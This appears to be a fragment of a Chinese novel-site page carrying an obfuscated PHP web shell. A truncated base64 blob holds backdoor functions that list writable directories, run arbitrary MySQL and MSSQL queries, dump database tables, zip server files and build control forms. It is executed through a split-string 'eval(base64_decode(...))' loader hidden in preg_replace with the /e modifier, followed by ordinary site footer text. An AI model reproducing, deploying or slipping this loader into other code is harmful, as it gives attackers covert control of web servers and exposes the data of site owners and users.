kZGVsZGlyKSA/IDEgOiAwOwp9CgovLyDooajmoLzooYzpl7TnmoTog4zmma/oibLmm7/mjaIKZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyDojrflj5blvZPliY3nmoTmlofku7bns7vnu5/ot6/lvoQKZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsKCWlmICgkbm93cGF0aCA9PSAnLicpIHsKCQkkbm93cGF0aCA9ICRzY3JpcHRwYXRoOwoJfQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRub3dwYXRoKTsKCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkbm93cGF0aCk7CglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7CgkJJG5vd3BhdGggPSAkbm93cGF0aC4nLyc7Cgl9CglyZXR1cm4gJG5vd3BhdGg7Cn0KCi8vIOiOt+WPluW9k+WJjeebruW9leeahOS4iue6p+ebruW9lQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsKCSRwYXRoZGIgPSBleHBsb2RlKCcvJywgJG5vd3BhdGgpOwoJJG51bSA9IGNvdW50KCRwYXRoZGIpOwoJaWYgKCRudW0gPiAyKSB7CgkJdW5zZXQoJHBhdGhkYlskbnVtLTFdLCRwYXRoZGJbJG51bS0yXSk7Cgl9CgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsKCSR1cHBhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICR1cHBhdGgpOwoJcmV0dXJuICR1cHBhdGg7Cn0KCi8vIOajgOafpVBIUOmFjee9ruWPguaVsApmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsKCSRyZXN1bHQgPSBnZXRfY2ZnX3ZhcigkdmFybmFtZSk7CglpZiAoJHJlc3VsdCA9PSAwKSB7CgkJcmV0dXJuICdObyc7Cgl9IGVsc2VpZiAoJHJlc3VsdCA9PSAxKSB7CgkJcmV0dXJuICdZZXMnOwoJfSBlbHNlIHsKCQlyZXR1cm4gJHJlc3VsdDsKCX0KfQoKLy8g5qOA5p+l5Ye95pWw5oOF5Ya1CmZ1bmN0aW9uIGdldGZ1bigkZnVuTmFtZSkgewoJcmV0dXJuIChmYWxzZSAhPT0gZnVuY3Rpb25fZXhpc3RzKCRmdW5OYW1lKSkgPyAnWWVzJyA6ICdObyc7Cn0KCmZ1bmN0aW9uIEdldExpc3QoJGRpcil7CglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7CgkhJGogJiYgJGo9MTsKCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7CgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsKCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsKCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsKCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPXVlKCRkaXIpOwoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsKCQkJCQkkZGlyZGF0YVskal1bJ2NsaWVudF9saW5rJ109dWUoJGYpOwoJCQkJCSRqKys7CgkJCQl9CgkJCQlHZXRMaXN0KCRmKTsKCQkJfQoJCX0KCQljbG9zZWRpcigkZGgpOwoJCWNsZWFyc3RhdGNhY2hlKCk7CgkJcmV0dXJuICRkaXJkYXRhOwoJfSBlbHNlIHsKCQlyZXR1cm4gYXJyYXkoKTsKCX0KfQoKZnVuY3Rpb24gcXkoJHNxbCkgeyAKCS8vZWNobyAkc3FsLic8YnI+JzsKCSRyZXMgPSAkZXJyb3IgPSAnJzsKCWlmKCEkcmVzID0gQG15c3FsX3F1ZXJ5KCRzcWwpKSB7IAoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7IAoJfSBlbHNlIHsKCQlyZXR1cm4gMjsKCX0JCglyZXR1cm4gMDsKfQoKZnVuY3Rpb24gcSgkc3FsKSB7IAoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsKfQoKZnVuY3Rpb24gZnIoJHF5KXsKCW15c3FsX2ZyZWVfcmVzdWx0KCRxeSk7Cn0KCi8vbXNzcWwKZnVuY3Rpb24gbXNxKCRzcWwpIHsgCglyZXR1cm4gQG1zc3FsX3F1ZXJ5KCRzcWwpOwp9CgpmdW5jdGlvbiBtc2ZyKCRxeSl7Cgltc3NxbF9mcmVlX3Jlc3VsdCgkcXkpOwp9CgpmdW5jdGlvbiBtc21zZygpewoJcmV0dXJuIG1zc3FsX2dldF9sYXN0X21lc3NhZ2UoKTsKfQoKZnVuY3Rpb24gbXNxeSgkc3FsKSB7IAoJLy9lY2hvICRzcWwuJzxicj4nOwoJJHJlcyA9ICRlcnJvciA9ICcnOwoJaWYoISRyZXMgPSBAbXNzcWxfcXVlcnkoJHNxbCkpIHsgCgkJcmV0dXJuIDA7Cgl9IGVsc2UgaWYoaXNfcmVzb3VyY2UoJHJlcykpIHsKCQlyZXR1cm4gMTsgCgl9IGVsc2UgewoJCXJldHVybiAyOwoJfQkKCXJldHVybiAwOwp9CgpmdW5jdGlvbiBzaXplY291bnQoJHNpemUpIHsKCWlmKCRzaXplID4gMTA3Mzc0MTgyNCkgewoJCSRzaXplID0gcm91bmQoJHNpemUgLyAxMDczNzQxODI0ICogMTAwKSAvIDEwMCAuICcgRyc7Cgl9IGVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpIHsKCQkkc2l6ZSA9IHJvdW5kKCRzaXplIC8gMTA0ODU3NiAqIDEwMCkgLyAxMDAgLiAnIE0nOwoJfSBlbHNlaWYoJHNpemUgPiAxMDI0KSB7CgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsKCX0gZWxzZSB7CgkJJHNpemUgPSAkc2l6ZSAuICcgQic7Cgl9CglyZXR1cm4gJHNpemU7Cn0KCgpjbGFzcyBQSFBaaXB7Cgl2YXIgJG91dD0nJzsKCWZ1bmN0aW9uIFBIUFppcCgkZGlyKQl7CgkJaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkJewoJCQkkY3VyZGlyID0gZ2V0Y3dkKCk7CgkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVsaXN0ID0gJGRpcjsKCQkJZWxzZXsKCQkJCSRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvL+aWh+S7tuWIl+ihqAoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGs9PiR2KSAkZmlsZWxpc3RbXT1zdWJzdHIoJHYsc3RybGVuKCRkaXIpKzEpOwoJCQl9CgkJCWlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOwoJCQllbHNlIGNoZGlyKCRjdXJkaXIpOwoJCQlpZiAoY291bnQoJGZpbGVsaXN0KT4wKXsKCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7CgkJCQkJaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSl7CgkJCQkJCSRmZCA9IGZvcGVuICgkZmlsZW5hbWUsICdyJyk7CgkJCQkJCSRjb250ZW50ID0gQGZyZWFkICgkZmQsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJCQlmY2xvc2UgKCRmZCk7CgkJCQkJCWlmIChpc19hcnJheSgkZGlyKSkgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGZpbGVuYW1lKTsKCQkJCQkJJHRoaXMgLT4gYWRkRmlsZSgkY29udGVudCwgJGZpbGVuYW1lKTsKCQkJCQl9CgkJCQl9CgkJCQkkdGhpcy0+b3V0ID0gJHRoaXMgLT4gZmlsZSgpOwoJCQkJY2hkaXIoJGN1cmRpcik7CgkJCX0KCQkJcmV0dXJuIDE7CgkJfQoJCWVsc2UgcmV0dXJuIDA7Cgl9CgoJLy8g6I635b6X5oyH5a6a55uu5b2V5paH5Lu25YiX6KGoCglmdW5jdGlvbiBHZXRGaWxlTGlzdCgkZGlyKXsKCQlzdGF0aWMgJGE7CgkJaWYgKGlzX2RpcigkZGlyKSkgewoJCQlpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCQkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7CgkJCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyl7CgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7CgkJCQkJCWlmKGlzX2RpcigkZikpICR0aGlzLT5HZXRGaWxlTGlzdCgkZik7CgkJCQkJCSRhW109JGY7CgkJCQkJfQoJCQkJfQoJCQkJY2xvc2VkaXIoJGRoKTsKCQkJfQoJCX0KCQlyZXR1cm4gJGE7Cgl9CgoJdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOwoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOwoJdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOwoJdmFyICRvbGRfb2Zmc2V0ICAgPSAwOwoKCWZ1bmN0aW9uIHVuaXgyRG9zVGltZSgkdW5peHRpbWUgPSAwKSB7CgkJJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkgOiBnZXRkYXRlKCR1bml4dGltZSk7CgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsKCQkJJHRpbWVhcnJheVsneWVhciddICAgID0gMTk4MDsKCQkJJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsKCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsKCQkJJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsKCQkJJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsKCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsKCQl9IC8vIGVuZCBpZgoJCXJldHVybiAoKCR0aW1lYXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkgfCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8CgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsKCX0KCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7CgkJJG5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRuYW1lKTsKCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsKCQkkaGV4ZHRpbWUJPSAnXHgnIC4gJGR0aW1lWzZdIC4gJGR0aW1lWzddCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzBdIC4gJGR0aW1lWzFdOwoJCWV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7CgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOwoJCSRmcgkuPSAiXHgxNFx4MDAiOwoJCSRmcgkuPSAiXHgwMFx4MDAiOwoJCSRmcgkuPSAiXHgwOFx4MDAiOwoJCSRmcgkuPSAkaGV4ZHRpbWU7CgoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKCQkkY3JjID0gY3JjMzIoJGRhdGEpOwoJCSR6ZGF0YSA9IGd6Y29tcHJlc3MoJGRhdGEpOwoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOwoJCSR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsKCQkkZnIgLj0gcGFjaygnVicsICRjcmMpOwoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkZnIgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOwoJCSRmciAuPSBwYWNrKCd2JywgMCk7CgkJJGZyIC49ICRuYW1lOwoJCSRmciAuPSAkemRhdGE7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgoJCSR0aGlzIC0+IGRhdGFzZWNbXSA9ICRmcjsKCQkkbmV3X29mZnNldCA9IHN0cmxlbihpbXBsb2RlKCcnLCAkdGhpcy0+ZGF0YXNlYykpOwoKCQkkY2RyZWMgPSAiXHg1MFx4NGJceDAxXHgwMiI7CgkJJGNkcmVjIC49ICJceDAwXHgwMCI7CgkJJGNkcmVjIC49ICJceDE0XHgwMCI7CgkJJGNkcmVjIC49ICJceDAwXHgwMCI7CgkJJGNkcmVjIC49ICJceDA4XHgwMCI7CgkJJGNkcmVjIC49ICRoZXhkdGltZTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjcmMpOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdGhpcyAtPiBvbGRfb2Zmc2V0ICk7CgkJJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0OwoJCSRjZHJlYyAuPSAkbmFtZTsKCgkJJHRoaXMgLT4gY3RybF9kaXJbXSA9ICRjZHJlYzsKCX0KCglmdW5jdGlvbiBmaWxlKCkgewoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7CgkJJGN0cmxkaXIgPSBpbXBsb2RlKCcnLCAkdGhpcyAtPiBjdHJsX2Rpcik7CgkJcmV0dXJuICRkYXRhIC4gJGN0cmxkaXIgLiAkdGhpcyAtPiBlb2ZfY3RybF9kaXIgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLglwYWNrKCdWJywgc3RybGVuKCRjdHJsZGlyKSkgLiBwYWNrKCdWJywgc3RybGVuKCRkYXRhKSkgLiAiXHgwMFx4MDAiOwoJfQp9CgoKZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsKCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsKCSR0YWJsZWR1bXAgLj0gIkNSRUFURSBUQUJMRSAkdGFibGUgKFxuIjsKCgkkZmlyc3RmaWVsZD0xOwoKCSRmaWVsZHMgPSBxKCJTSE9XIEZJRUxEUyBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7CgkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkkdGFibGVkdW1wIC49ICIsXG4iOwoJCX0gZWxzZSB7CgkJCSRmaXJzdGZpZWxkPTA7CgkJfQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsKCQlpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgewoJCQkkdGFibGVkdW1wIC49ICIgREVGQVVMVCAnJGZpZWxkW0RlZmF1bHRdJyI7CgkJfQoJCWlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgewoJCQkkdGFibGVkdW1wIC49ICIgTk9UIE5VTEwiOwoJCX0KCQlpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiAkZmllbGRbRXh0cmFdIjsKCQl9Cgl9CglmcigkZmllbGRzKTsKCgkka2V5cyA9IHEoIlNIT1cgS0VZUyBGUk9NICR0YWJsZSIpOwoJd2hpbGUgKCRrZXkgPSBteXNxbF9mZXRjaF9hcnJheSgka2V5cykpIHsKCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsKCQlpZiAoJGtuYW1lICE9ICJQUklNQVJZIiAmJiAka2V5WydOb25fdW5pcXVlJ10gPT0gMCkgewoJCQkka25hbWU9IlVOSVFVRXwka25hbWUiOwoJCX0KCQlpZighaXNfYXJyYXkoJGluZGV4WyRrbmFtZV0pKSB7CgkJCSRpbmRleFska25hbWVdID0gYXJyYXkoKTsKCQl9CgkJJGluZGV4WyRrbmFtZV1bXSA9ICRrZXlbJ0NvbHVtbl9uYW1lJ107Cgl9Cglmcigka2V5cyk7CgoJd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBlYWNoKCRpbmRleCkpIHsKCQkkdGFibGVkdW1wIC49ICIsXG4iOwoJCSRjb2xuYW1lcz1pbXBsb2RlKCRjb2x1bW5zLCIsIik7CgoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsKCQl9IGVsc2UgewoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7CgkJCQkka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsKCQkJfQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsKCQl9Cgl9CgoJJHRhYmxlZHVtcCAuPSAiXG4pO1xuXG4iOwoJaWYgKCRmcCkgewoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7Cgl9IGVsc2UgewoJCWVjaG8gJHRhYmxlZHVtcDsKCX0KCgkkcm93cyA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7CgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzKSkgewoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRjb3VudGVyPS0xOwoJCSRmaXJzdGZpZWxkPTE7CgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7CgkJCWlmICghJGZpcnN0ZmllbGQpIHsKCQkJCSR0YWJsZWR1bXAuPSIsICI7CgkJCX0gZWxzZSB7CgkJCQkkZmlyc3RmaWVsZD0wOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbJGZpZWxkY291bnRlcl0pKSB7CgkJCQkkdGFibGVkdW1wIC49ICJOVUxMIjsKCQkJfSBlbHNlIHsKCQkJCSR0YWJsZWR1bXAgLj0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJHJvd1skZmllbGRjb3VudGVyXSkuIiciOwoJCQl9CgkJfQoKCQkkdGFibGVkdW1wIC49ICIpO1xuIjsKCgkJaWYgKCRmcCkgewoJCQlmd3JpdGUoJGZwLCR0YWJsZWR1bXApOwoJCX0gZWxzZSB7CgkJCWVjaG8gJHRhYmxlZHVtcDsKCQl9Cgl9Cglmcigkcm93cyk7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwiXG4iKTsKCX0gZWxzZSB7CgkJZWNobyAiXG4iOwoJfQp9CgpmdW5jdGlvbiB1ZSgkc3RyKXsKCXJldHVybiB1cmxlbmNvZGUoJHN0cik7Cn0KCmZ1bmN0aW9uIHAoJHN0cil7CgllY2hvICRzdHIuIlxuIjsKfQoKZnVuY3Rpb24gdGJoZWFkKCkgewoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7Cn0KZnVuY3Rpb24gdGJmb290KCl7CglwKCc8L3RhYmxlPicpOwp9CgpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9JycpewoJcCgiPGlucHV0IGlkPVwiJG5hbWVcIiB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIiRuYW1lXCIgdmFsdWU9XCIkdmFsdWVcIiAvPiIpOwp9CgpmdW5jdGlvbiBtYWtlaW5wdXQoJGFyZyA9IGFycmF5KCkpewoJJGFyZ1snc2l6ZSddID0gJGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIiOwoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7CgkhJGFyZ1sndHlwZSddICYmICRhcmdbJ3R5cGUnXSA9ICd0ZXh0JzsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsKCWlmICgkYXJnWyduZXdsaW5lJ10pIHsKCQlwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOwoJfSBlbHNlIHsKCQlwKCIkYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+Iik7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2VzZWxlY3QoJGFyZyA9IGFycmF5KCkpewoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsKCQkkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7Cgl9CgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsKCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOwoJcCgiJGFyZ1t0aXRsZV0gPHNlbGVjdCBjbGFzcz1cImlucHV0XCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiAkb25jaGFuZ2U+Iik7CgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgewoJCQlmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsKCQkJCWlmICgkYXJnWydzZWxlY3RlZCddPT0ka2V5KSB7CgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIj4kdmFsdWU8L29wdGlvbj4iKTsKCQkJCX0KCQkJfQoJCX0KCXAoIjwvc2VsZWN0PiIpOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOwp9CmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7CglnbG9iYWwgJHNlbGY7CgkhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7CgkhJGFyZ1snYWN0aW9uJ10gJiYgJGFyZ1snYWN0aW9uJ10gPSAkc2VsZjsKCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7CgkhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7CglwKCI8Zm9ybSBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIGFjdGlvbj1cIiRhcmdbYWN0aW9uXVwiIG1ldGhvZD1cIiRhcmdbbWV0aG9kXVwiICRhcmdbdGFyZ2V0XT4iKTsKCWlmICgkYXJnWyd0aXRsZSddKSB7CgkJcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOwoJfQp9CgkKZnVuY3Rpb24gbWFrZXRleHQoJGFyZyA9IGFycmF5KCkpewoJISRhcmdbJ2NvbHMnXSAmJiAkYXJnWydjb2xzJ10gPSAxMDA7CgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1OwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CglwKCI8cD4kYXJnW3RpdGxlXTx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGNvbHM9XCIkYXJnW2NvbHNdXCIgcm93cz1cIiRhcmdbcm93c11cIiAkYXJnW2V4dHJhXT4kYXJnW3ZhbHVlXTwvdGV4dGFyZWE+PC9wPiIpOwp9CgpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lID0gJycpewoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7CglwKCc8cD48aW5wdXQgY2xhc3M9ImJ0IiBuYW1lPSInLiRuYW1lLiciIGlkPVwiJy4kbmFtZS4nXCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0Ij48L3A+Jyk7CglwKCc8L2Zvcm0+Jyk7Cn0KCmZ1bmN0aW9uIGZvcm1mb290KCl7CglwKCc8L2Zvcm0+Jyk7Cn0KCgpmdW5jdGlvbiBwcigkYSkgewoJZWNobyAnPHByZT4nOwoJcHJpbnRfcigkYSk7CgllY2hvICc8L3ByZT4nOwp9';
$e='eva'.'l(base64_decod'."e('";
preg_replace('@(.*)@e', $e.'\\1'."'));",$jieqi);
?>
没看完?将本书加入收藏我是会员,将本书放入书架复制本书地址,传给QQ/MSN上的好友章节错误?点此举报